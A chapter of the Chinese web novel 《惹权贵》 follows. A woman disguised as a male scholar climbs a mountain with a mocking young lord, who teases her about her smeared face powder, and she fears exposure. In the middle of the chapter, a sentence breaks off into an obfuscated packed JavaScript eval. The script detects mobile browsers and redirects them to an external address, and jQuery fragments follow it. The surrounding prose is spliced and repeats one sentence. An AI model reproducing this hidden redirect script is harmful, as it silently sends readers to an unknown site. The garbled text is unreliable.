26. 第 26 章

作品:《惹权贵

    好不容易登顶,林景如扶着一颗大树,胸口剧烈起伏,试图平复急促的喘息与擂鼓般的心跳。


    额发已被汗水浸湿,黏在鬓边。


    骆应枢却已然寻了块树荫下的平整巨石坐下,左腿微曲,目视远方,一派悠闲。


    见她这副狼狈模样,他嘴角勾起一丝毫不掩饰的嫌弃:


    “当日在书院校场与你对垒,还觉得是块可堪雕琢的料子。如今看来,不过一座小小山峰,竟能将你累成这般田地?”


    林景如轻抚着胸口,慢慢喘着气,对这讥讽之语只作不知。


    双腿因长途攀爬和之前的骑马颠簸,此刻正微微打颤,她站立片刻后慢慢顺着树坐下,将半个身子藏在阴影中。


    眼前万山环抱,翠绿似海,阳光洒在上面,泛着阵阵金光。


    难怪此山得名“金阳”。


    山风徐来,拂动衣摆与头顶的树叶,发出沙沙的轻响,也送来山间特有的、混合着草木与泥土的清冽气息。


    望着眼前这壮阔而宁静的景象,连日来积压在心头的憋闷、无奈、隐忍,仿佛也被这浩荡的山风吹散了些许。


    林景如静静地凝视着,放任自己沉浸在这难得的片刻安宁之中。


    “果然是‘金阳’!这日头一照,整片山都像镀了金似的!”平安站在骆应枢身后,望着远处金光粼粼的峰峦,不由感叹,“殿下,您这眼光可真毒!这样的好景致也能寻着。”


    骆应枢闻言,薄唇微扬,带着惯有的傲然:“也不看看本世子是谁!”


    林景如无意参与他们的谈论,默默收回视线,目光垂落,停在地面一队正忙碌搬运碎屑的蚂蚁上。


    那蚂蚁在这方寸之间,来回穿梭,用柔软的触须去触碰外界,即便有人刻意在它面前放置障碍,它仍旧能用一吹即散的轻盈身姿翻过去。


    蝼蚁尚且如此坚韧求生,更何况人呢?


    想到温奇那尚未明朗却留有希望的暗示,想到昨日衙门突然更换修书匠人的举动或许别有深意,她心中那簇微弱的火苗又灼灼燃起。


    即便可能会落空,她也要学这蝼蚁,遇山开路,遇水架桥,纵有千钧之力压顶,也必抗争到底。


    她不自觉的挺直腰脊,目视前方连绵山脉,脸上俱是坚毅之色。


    见她久未出声,骆应枢微微偏头,却并未捕捉到她脸上转瞬即逝的决然,以及心底翻涌的浪潮,只随口问道:


    “如何?这般景致,以往可曾见过?”


    话刚出口,他又自顾自轻哼一声,带着点理所当然的睥睨:


    “想来是未曾的,似你这等终日为生计奔波、活得刻板无趣之人,哪懂得寻觅这等‘人间仙境’?”


    望着漫天霞光,骆应枢感觉前所未有的惬意,感受风轻抚过面,感受山间虫鸣鸟叫,感受高处一览众山小的快意。


    “好风光,当不负!这方是人生之奥义。”


    林景如疲于应付,索性跟着点点头,淡淡附和:“世子高见。”


    她略略调整坐姿,改为盘腿,大腿内侧的擦伤传来隐隐刺痛,却已不似起初那般令人焦躁。


    方才落于队伍最后时,悄悄查看过,好在只是磨破了些皮,并未伤及根本。


    不必问也知,骆应枢执意带她上山,多半存了看她狼狈吃苦的心思,另一方面,大约也只是践行他所谓的“消磨光阴”。


    至于为何带上她,无非是方便磋磨她罢了。


    山顶之上,两人持剑而立,另两人席地而坐,倒也算构成一幅奇异的“闲适”画卷。


    连日来积压的种种情绪,在这苍茫山色与浩荡天风之中,竟奇异地得到了些许涤荡。


    林景如暂时忘却了骆应枢接连不断的刁难,忘却了肩上沉甸甸的生存压力,也忘却了前路可能布下的荆棘。


    这一刻,万物尽消,唯有天地悠悠。


    “啪。”


    一颗小石子凌空飞来,精准地落在她身前的泥地上,溅起些许微尘,也将她飘远的思绪骤然拽回。


    “本世子叫你,发什么呆?”骆应枢的声音传来,带着惯常的不耐。


    林景如蓦然回神,目光飞快地掠过他,旋即垂落,掩去眼底一闪而逝的烦躁,声音平稳:“世子有何吩咐?”


    “世子有何吩咐?”


    骆应枢并未立刻回答,目光在她脸上停留了片刻。


    夕阳的余晖斜照,将她半边身子笼在光晕里。


    那张总是显得过分白皙的脸,因登山的劳累和霞光的映照,透出些许红润。长睫低垂,在下眼睑投下浅浅的阴影,让人看不清其中情绪。


    这一路走来,林景如出门前轻敷的脂粉早已被汗液浸湿,顺着额角流下,在脸上留下斑驳痕迹,隐隐透出分明的指印。


    林景如并未察觉,只觉骆应枢的目光在自己脸上停留的实在难以忽视,有些反常。


    她下意识抬手想摸脸,指尖触及皮肤的瞬间,陡然惊醒——脂粉!


    她脸色忽变,立即拿手装作不经意去拂过额角,实则想挡住他探究的视线。


    “丑死了,”他忽然嗤笑一声,搭在膝上的手指有一下没一下地轻敲着,语气里满是戏谑,“本世子只是没想到,一个男子,竟也有这等喜好。”


    他顿了顿,目光如钩,紧紧锁住她每一丝细微的反应,一字一句,清晰缓慢地吐出:


    “喜欢涂脂抹粉。”


    “像个娘们儿一样。”


    一句话,仿佛在平静河水中投入巨石,掀起千万尺高的浪。


    平日林景如极力将自己往粗犷了打扮,奈何天生骨架纤细,面容清秀,虽比寻常女子高挑,也难免落个“男生女相”的评价。


    今日为了遮掩施明远留下的痕迹涂抹脂粉,竟在此刻成了最大的破绽!


    林景如在他话出口时,心脏便不由自主加快,她不安地动了动,立即站了起来,故作恼怒:


    “世子若是看不惯我,直接打杀岂不更省事?何必如此羞辱我?”


    她极力压下心底的颤抖,可指尖却不由自主晃动,她使劲掐了掐,想将心底的恐惧挥去,却仍旧收效甚微。


    几乎一瞬间,所有念头在她脑海中一一滑过,若是眼前人知道了自己的伪装,那该如何?


    脑子飞快转动,乱七八糟的想法纷至沓来。


    若是其他人尚且还能搏一搏可能,但眼前之人,不说他身边那两位武功深不可测的侍卫,便是他自己,以她这三脚猫的功夫,须臾之间,便会被丢入山底,喂食豺狼。


    藏在身后的右手不断颤抖,唇齿忍不住打架,自心底涌出来的恐惧遍布全身。


    她这副模样落在骆应枢等人眼中,误以为是被“像个娘们儿一样”这句话而气急败坏、尊严受损。


    他竟觉得有趣,朗声笑了起来。往日无论他如何挑衅讥讽,这人总能装得一副逆来顺受、油盐不进的模样。


    此刻一句轻飘飘的奚落,反倒像是被踩了尾巴一般,顿时炸了毛。


    以往他觉得此人隐忍虚伪的做派,像极了他那位高坐庙堂、惯会做表面功夫的堂兄。现如今看来,他堂兄可不会像眼前这人一般逆来顺受。


    若是真有人惹了他,他也只会笑眯眯地、轻飘飘地吩咐身边人处理掉,不让鲜血溅至他身前。


    只可惜啊,太过心急,不似眼前此人,能屈能伸,即便被他这般搓圆捏扁,居然还能忍着不彻底撕破脸。


    他最近常在想,若是她拿堂兄如林景如这般能忍耐,或


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917104|192531||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    许自己早就陷入他的圈套而不自知。


    只可惜……


    分明昨日还觉得林景如与堂兄神似,惹人生厌,今日见她为了一点银钱“折腰”抄经,反倒显出几分现实主义的“大丈夫”风骨——识时务,知进退。


    这一点,倒让他意外地高看了一眼。


    对她的“愤怒”,骆应枢浑不在意,眉梢微扬,难得带了些探究,反问道:“怎么?说你一句‘男生女相’,便是天大的折辱了?”


    他甚至在心底恶劣地盘算起来:她既如此抵触被人说像女子,若下次再惹恼他,定要想法子逼她换上女装试试,那场面定然“精彩”。


    指尖在膝上轻敲的节奏略快了几分,他想象着那画面,夕阳柔光笼罩周身。旋即,他自己又嫌恶地摇了摇头。


    罢了,他虽行事恣意,趣味也不算高雅,但尚未扭曲到那般地步。


    那场景想想便觉……一言难尽。


    林景如沉默着,狂跳的心却因他这句话,稍稍落回原处。


    看来,他只是借题发挥,继续他的羞辱游戏罢了。


    连日来被他变着花样地磋磨折辱,已让她如惊弓之鸟,时刻紧绷着神经,生怕哪个细节泄露了天大的秘密。


    偏偏这位世子爷阴魂不散,屡屡寻衅,迫使她不得不打起十二万分精神应对。


    这经年累月积压的紧张,竟在今日一句随口的嘲讽下险些崩盘,几乎前功尽弃。


    林景如深吸了一口气,不欲继续纠缠,只是轻轻撇开脸,不着痕迹地将被打的那一巴掌藏在昏暗阴影之中。


    再度开口,声音已经恢复了以往那不急不缓的语调,甚至带着一丝刻意表现的恭顺与倦怠:


    “今日的佛经尚未抄完,还请殿下允准小人先行下山继续。”


    “急什么?”他微微眯眼,直视半影与山间的落日,“本世子上山一趟,可不仅仅只是登高望远。”


    骆应枢对那佛经不以为然,不过是打发京城的人罢了,今日命她抄写不过是临时起意,想看看这清高书生被驱使的模样。


    谁知她竟真的一板一眼,当成正事来做。


    不知为何,他心底飞快滑过一丝异样,说不出什么感觉。


    不知为何,心底某处掠过一丝极微妙的异样感,说不清道不明。


    他游戏人间太久,见惯了逢迎与算计,对林景如这种在某些事上意外“较真”乃至“古板”的态度,无端生出一种复杂。


    既瞧不上她不知变通、活得沉重,又隐约觉得,这世间肯如此“认真”对待一桩承诺或一件小事的人,似乎也不多了。


    闻言,林景如只能候在一旁,静静站着。


    那人仍旧慵懒地侧卧在巨石上,右手随意地搭在曲起的膝盖上,一下又一下地轻敲。


    身边的平淡不知踪影,平安坐在骆应枢身后,林景如立于他左边的树荫之下,与那主仆二人隔着一段沉默的距离。


    树上的蝉歌声鸣动,林景如方才上不觉有什么,此刻却觉得吵闹异常。


    清风送来的安抚,也不足以安抚方才异常跳动的脉搏。


    她将目光落在眼前那人身上,眼底俱是复杂。


    比起他那些明面上的捉弄与折辱,身份暴露才是她无法承受的恐惧之源。


    也不知过了多久,落日逐渐被一片晚霞取代,漫天霞光却如火如荼地燃烧起来,染红了半边天空,也将群山映照得瑰丽无比。


    骆应枢眼底迸发出清晰可见的笑意,那是属于少年人见到绝美景致时,毫不掩饰的欣赏与愉悦。


    林景如这才恍然,原来他执意上山,又在山顶盘桓良久,为的便是守候这一场盛大的日落晚霞。为此,他不在乎虚掷光阴,也不畏山路崎岖。